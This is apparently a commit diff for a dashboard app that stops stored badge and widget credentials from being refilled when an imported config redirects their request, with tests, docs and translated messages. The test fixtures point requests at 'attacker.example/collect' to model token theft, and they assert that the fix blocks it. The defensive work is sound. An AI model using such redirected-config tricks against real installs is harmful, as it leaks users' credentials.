Security: bind a stored credential to the request it was saved for

CHANGELOG.md

@@ -65,6 +65,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 ### Security
 
+- A stored credential is only reused for the request it was saved for.
+  Changing where a badge or a widget sends it now requires entering it again.
+
 - The Password Protection switch refuses a request that does not plainly say on
   or off, instead of reading it as off and deleting the stored password.
 

api/src/config-secrets.js

@@ -2,8 +2,10 @@
    cannot run some of them and miss others. Settings-level secrets are not item
    secrets and stay in the config route. */
 
-const { scrubConfigSecrets, preserveConfigSecrets } = require('./widget-secrets');
-const { scrubItemBadgeSecrets, preserveItemBadgeSecrets } = require('./badge-headers');
+const { scrubConfigSecrets, preserveConfigSecrets, secretSpec } = require('./widget-secrets');
+const { scrubItemBadgeSecrets, preserveItemBadgeSecrets, toRows } = require('./badge-headers');
+const { badgeRequestMatchesSaved, widgetConfigMatchesSaved } = require('./secret-scope');
+const { getRegistry } = require('./widgets');
 
 function scrubAllSecrets(cfg) {
   scrubConfigSecrets(cfg);
@@ -13,16 +15,112 @@ function scrubAllSecrets(cfg) {
   return cfg;
 }
 
+/* Whether anything would actually be refilled from this block, so an item is
+   only reported as needing a credential when one was really withheld. */
+function rowsHoldSecret(rows) {
+  return toRows(rows).some(r => r.secret && r.value != null && r.value !== '');
+}
+
+function blockHoldsSecret(block) {
+  return !!block && (rowsHoldSecret(block.headers) || rowsHoldSecret(block.params));
+}
+
+/* The saved request a block would be refilled against, in the shape the scope
+   check compares. */
+const asRequest = block => ({ url: block?.url, headers: block?.headers, params: block?.params });
+
+function widgetHoldsSecret(config, entry) {
+  if (!config || !entry) return false;
+  const { topLevel, groups, objects } = secretSpec(entry);
+  const set = v => v != null && v !== '';
+  if (topLevel.some(k => set(config[k]))) return true;
+  for (const [gk, subKeys] of Object.entries(groups)) {
+    if (Array.isArray(config[gk]) && config[gk].some(row => row && subKeys.some(sk => set(row[sk])))) return true;
+  }
+  for (const [ok, subKeys] of Object.entries(objects)) {
+    if (config[ok] && subKeys.some(sk => set(config[ok][sk]))) return true;
+  }
+  return false;
+}
+
+/** Refill the secrets a save arrived without, but only for the items whose
+    request is still the one the secret was stored for.
+
+    A saved config names where each credential is sent. Matching a stored secret
+    to an incoming item by its id alone would refill it for a request that now
+    points somewhere else, and the next poll would deliver the credential there:
+    a config file is something people import from elsewhere, so that is a way to
+    take a token out of an install by sending its owner a file. The same check
+    already guards the two endpoints that test a badge or a widget; this is the
+    save path using it too.
+
+    Returns the items whose secret was withheld, so the caller can say which
+    credentials have to be entered again.
+
+    @param {any} newCfg @param {any} oldCfg
+    @returns {{ withheld: Array<{ id: string, label: string }> }} */
 function preserveAllSecrets(newCfg, oldCfg) {
-  preserveConfigSecrets(newCfg, oldCfg);
+  const withheld = [];
+  const note = item => {
+    if (!withheld.some(w => w.id === item.id)) withheld.push({ id: item.id, label: item.label || item.id });
+  };
+  const oldItems = Array.isArray(oldCfg?.items) ? oldCfg.items : [];
+  const prevOf = item => oldItems.find(e => e && e.id === item.id);
+
   if (Array.isArray(newCfg.items)) {
+    /* Widgets first: preserveConfigSecrets walks the whole config, so the items
+       it must not refill are the ones whose config no longer matches. */
+    const reg = getRegistry();
+    const scopedForWidgets = { ...newCfg, items: [] };
+    const keepWidget = new Map();
+    for (const item of newCfg.items) {
+      if (!item || item.type !== 'widget') continue;
+      const prev = prevOf(item);
+      const entry = reg[item.widgetType];
+      const ok = !prev || !entry || widgetConfigMatchesSaved(item.widgetConfig || {}, prev.widgetConfig || {}, entry);
+      keepWidget.set(item, ok);
+      if (!ok && widgetHoldsSecret(prev.widgetConfig, entry)) note(item);
+    }
+    /* preserveConfigSecrets reads oldCfg.items by id, so an item that must not
+       be refilled is hidden from it rather than handled separately. */
+    scopedForWidgets.items = newCfg.items;
+    const oldForWidgets = {
+      ...oldCfg,
+      items: oldItems.filter(o => {
+        const match = newCfg.items.find(n => n && n.id === o.id && n.type === 'widget');
+        return !match || keepWidget.get(match) !== false;
+      }),
+    };
+    preserveConfigSecrets(scopedForWidgets, oldForWidgets);
+
     for (const item of newCfg.items) {
       if (item?.type !== 'app') continue;
-      const prev = oldCfg?.items?.find(e => e && e.id === item.id);
-      preserveItemBadgeSecrets(item, prev);
+      const prev = prevOf(item);
+      if (!prev) {
+        preserveItemBadgeSecrets(item, undefined);
+        continue;
+      }
+      /* Each block carries its own destination, so they are judged separately:
+         changing where the activity badge points must not also drop the
+         credential the status badge uses. */
+      const scoped = { ...prev };
+      for (const [block, oldBlock, set] of [
+        [item.badge, prev.badge, b => (scoped.badge = b)],
+        [
+          item.monitoring?.activity,
+          prev.monitoring?.activity,
+          b => (scoped.monitoring = { ...prev.monitoring, activity: b }),
+        ],
+      ]) {
+        if (!block) continue;
+        if (badgeRequestMatchesSaved(asRequest(block), oldBlock ? asRequest(oldBlock) : null)) continue;
+        set(undefined);
+        if (blockHoldsSecret(oldBlock)) note(item);
+      }
+      preserveItemBadgeSecrets(item, scoped);
     }
   }
-  return newCfg;
+  return { withheld };
 }
 
 module.exports = { scrubAllSecrets, preserveAllSecrets };

api/src/routes/config.js

@@ -140,13 +140,17 @@ on('POST', '/api/config', async (req, res) => {
       data.settings = data.settings || {};
       data.settings.auth = JSON.parse(JSON.stringify(existing.settings.auth));
     }
-    preserveAllSecrets(data, existing);
+    /* A stored credential is only refilled for the request it was stored for.
+       Anything withheld is named back to the caller, so a save that changed
+       where a badge points does not look like it kept working. */
+    const { withheld } = preserveAllSecrets(data, existing);
     migrate(data); /* upgrade old imported/restored configs; no-op for normal saves */
     ensureSystemItems(data);
     saveConfig(data);
     if (data.settings) log.setLevel(data.settings.logLevel);
     log.audit('config saved', {});
-    json(res, 200, { ok: true });
+    if (withheld.length) log.audit('stored credentials withheld', { items: withheld.map(w => w.id) });
+    json(res, 200, withheld.length ? { ok: true, withheld } : { ok: true });
   } catch (e) {
     fail(res, e, { status: 400 });
   }

api/test/config-secrets.test.js

@@ -137,3 +137,177 @@ test('preserveAllSecrets restores widget and badge secrets in one call', () => {
   assert.equal(app.badge.headers[0].valueSet, undefined);
   assert.equal(incoming.items[0].widgetConfig.slots[0].dupPass, 'DUP');
 });
+
+/* ── a stored secret belongs to the request it was stored for ─────────────── */
+
+/* Refilling by item id alone let a config file take a credential out of an
+   install: keep the id and the header, mark the value as still stored, and
+   point the request somewhere else, and the next poll delivered the stored
+   token to whoever the file named. A config is a thing people import from
+   elsewhere, so the file is the attack. The two endpoints that test a badge or
+   a widget already refuse this; the save path refuses it too now. */
+
+test('a badge secret is not refilled once the request points elsewhere', () => {
+  const stored = {
+    items: [
+      {
+        id: 'b1',
+        type: 'app',
+        label: 'Badge',
+        monitoring: {
+          activity: {
+            enabled: true,
+            url: 'https://legit.example/api',
+            headers: [{ key: 'Authorization', value: 'Bearer REAL', secret: true }],
+          },
+        },
+      },
+    ],
+  };
+  const incoming = {
+    items: [
+      {
+        id: 'b1',
+        type: 'app',
+        label: 'Badge',
+        monitoring: {
+          activity: {
+            enabled: true,
+            url: 'https://attacker.example/collect',
+            headers: [{ key: 'Authorization', value: '', secret: true }],
+          },
+        },
+      },
+    ],
+  };
+  const { withheld } = preserveAllSecrets(incoming, stored);
+  assert.equal(incoming.items[0].monitoring.activity.headers[0].value, '', 'the token did not travel');
+  assert.deepEqual(
+    withheld.map(w => w.id),
+    ['b1'],
+    'and the save says which credential has to be entered again',
+  );
+});
+
+test('a badge secret survives a save that changed nothing about the request', () => {
+  const stored = {
+    items: [
+      {
+        id: 'b1',
+        type: 'app',
+        monitoring: {
+          activity: {
+            url: 'https://legit.example/api',
+            headers: [{ key: 'Authorization', value: 'Bearer REAL', secret: true }],
+          },
+        },
+      },
+    ],
+  };
+  /* What restoring an export looks like: the value is gone, everything else is
+     as it was. */
+  const incoming = {
+    items: [
+      {
+        id: 'b1',
+        type: 'app',
+        monitoring: {
+          activity: {
+            url: 'https://legit.example/api',
+            headers: [{ key: 'Authorization', secret: true, valueSet: true }],
+          },
+        },
+      },
+    ],
+  };
+  const { withheld } = preserveAllSecrets(incoming, stored);
+  assert.equal(incoming.items[0].monitoring.activity.headers[0].value, 'Bearer REAL');
+  assert.deepEqual(withheld, []);
+});
+
+test('renaming the app keeps its badge credential', () => {
+  const activity = {
+    url: 'https://legit.example/api',
+    headers: [{ key: 'Authorization', value: 'Bearer REAL', secret: true }],
+  };
+  const stored = { items: [{ id: 'b1', type: 'app', label: 'Before', monitoring: { activity } }] };
+  const incoming = {
+    items: [
+      {
+        id: 'b1',
+        type: 'app',
+        label: 'After',
+        href: 'https://new.example',
+        monitoring: {
+          activity: { url: 'https://legit.example/api', headers: [{ key: 'Authorization', value: '', secret: true }] },
+        },
+      },
+    ],
+  };
+  const { withheld } = preserveAllSecrets(incoming, stored);
+  assert.equal(incoming.items[0].monitoring.activity.headers[0].value, 'Bearer REAL');
+  assert.deepEqual(withheld, []);
+});
+
+test('a widget secret is not refilled once its config points elsewhere', () => {
+  const stored = {
+    items: [
+      {
+        id: 'w1',
+        type: 'widget',
+        widgetType: 'books',
+        label: 'Books',
+        widgetConfig: { provider: 'abs', absUrl: 'https://books.legit.example', absKey: 'REAL_KEY' },
+      },
+    ],
+  };
+  const incoming = {
+    items: [
+      {
+        id: 'w1',
+        type: 'widget',
+        widgetType: 'books',
+        label: 'Books',
+        widgetConfig: { provider: 'abs', absUrl: 'https://attacker.example', absKeySet: true },
+      },
+    ],
+  };
+  const { withheld } = preserveAllSecrets(incoming, stored);
+  assert.equal(incoming.items[0].widgetConfig.absKey, undefined, 'the key did not travel');
+  assert.deepEqual(
+    withheld.map(w => w.id),
+    ['w1'],
+  );
+});
+
+test('a widget secret survives a save that changed nothing else', () => {
+  const stored = {
+    items: [
+      {
+        id: 'w1',
+        type: 'widget',
+        widgetType: 'books',
+        widgetConfig: { provider: 'abs', absUrl: 'https://books.legit.example', absKey: 'REAL_KEY' },
+      },
+    ],
+  };
+  const incoming = {
+    items: [
+      {
+        id: 'w1',
+        type: 'widget',
+        widgetType: 'books',
+        widgetConfig: { provider: 'abs', absUrl: 'https://books.legit.example', absKeySet: true },
+      },
+    ],
+  };
+  const { withheld } = preserveAllSecrets(incoming, stored);
+  assert.equal(incoming.items[0].widgetConfig.absKey, 'REAL_KEY');
+  assert.deepEqual(withheld, []);
+});
+
+test('an item that never had a stored secret is not reported', () => {
+  const stored = { items: [{ id: 'a1', type: 'app', monitoring: { activity: { url: 'https://a.example' } } }] };
+  const incoming = { items: [{ id: 'a1', type: 'app', monitoring: { activity: { url: 'https://b.example' } } }] };
+  assert.deepEqual(preserveAllSecrets(incoming, stored).withheld, []);
+});

docs/security.md

@@ -123,7 +123,17 @@ value. Secrets are preserved on save when the browser submits the config
 without them. A value stored as a secret is never sent back, in the config
 response or in an export.
 
-Two consequences of that guarantee:
+A secret is only put back for the request it was stored for. If a save changes
+where the credential would be sent, by editing a badge's URL, its non-secret
+headers or parameters, or any non-secret field of a widget's config, the stored
+value is not restored and the response names the items whose credential has to
+be entered again. Matching on the item's id alone would let a config file take a
+credential out of an install: keep the id, mark the value as still stored, point
+the request elsewhere, and the next poll would deliver it there. A config is
+something people import from elsewhere, so that file is the attack. The
+endpoints that test a badge or a widget apply the same rule.
+
+Three consequences of that guarantee:
 
 - Unticking **Secret** on a header or credential row clears the stored value on
   the next save, and the credential has to be retyped. Refilling the row would

ui/admin/index.html

@@ -285,6 +285,6 @@ <h1 class="sec-title" id="ev-title">General</h1>
   </div></div>
 </div>
 
-<script type="module" src="/js/admin.js?v=88a8068e"></script>
+<script type="module" src="/js/admin.js?v=3f6635db"></script>
 </body>
 </html>

ui/i18n/de.json

@@ -174,7 +174,8 @@
     "importForeignDone": "Import abgeschlossen. Apps: {apps}. Ordner: {folders}.",
     "importForeignNothing": "Aus diesen Dateien gibt es nichts zu importieren.",
     "importYamlUnsupported": "{file}: {reason} (Zeile {line})",
-    "importUnknownFormat": "{file} ist keine gethomepage- oder Dashy-Konfiguration."
+    "importUnknownFormat": "{file} ist keine gethomepage- oder Dashy-Konfiguration.",
+    "secretsWithheld": "Zugangsdaten erneut eingeben für: {items}. Sie wurden nicht übernommen, weil sich die zugehörige Anfrage geändert hat."
   },
   "confirm": {
     "deleteFolder": "Ordner „{name}“ löschen? Enthaltene Apps werden nicht gelöscht.",

ui/i18n/en.json

@@ -174,7 +174,8 @@
     "importForeignDone": "Import finished. Apps: {apps}. Folders: {folders}.",
     "importForeignNothing": "Nothing to import from those files.",
     "importYamlUnsupported": "{file}: {reason} (line {line})",
-    "importUnknownFormat": "{file} is not a gethomepage or Dashy config."
+    "importUnknownFormat": "{file} is not a gethomepage or Dashy config.",
+    "secretsWithheld": "Enter the credential again for: {items}. It was not kept, because the request it belongs to changed."
   },
   "confirm": {
     "deleteFolder": "Delete folder \"{name}\"? Apps inside will not be deleted.",

ui/i18n/es.json

@@ -174,7 +174,8 @@
     "importForeignDone": "Importación terminada. Apps: {apps}. Carpetas: {folders}.",
     "importForeignNothing": "No hay nada que importar en esos archivos.",
     "importYamlUnsupported": "{file}: {reason} (línea {line})",
-    "importUnknownFormat": "{file} no es una configuración de gethomepage ni de Dashy."
+    "importUnknownFormat": "{file} no es una configuración de gethomepage ni de Dashy.",
+    "secretsWithheld": "Vuelve a introducir la credencial de: {items}. No se conservó porque cambió la petición a la que pertenece."
   },
   "confirm": {
     "deleteFolder": "¿Eliminar la carpeta \"{name}\"? Las aplicaciones que contiene no se eliminarán.",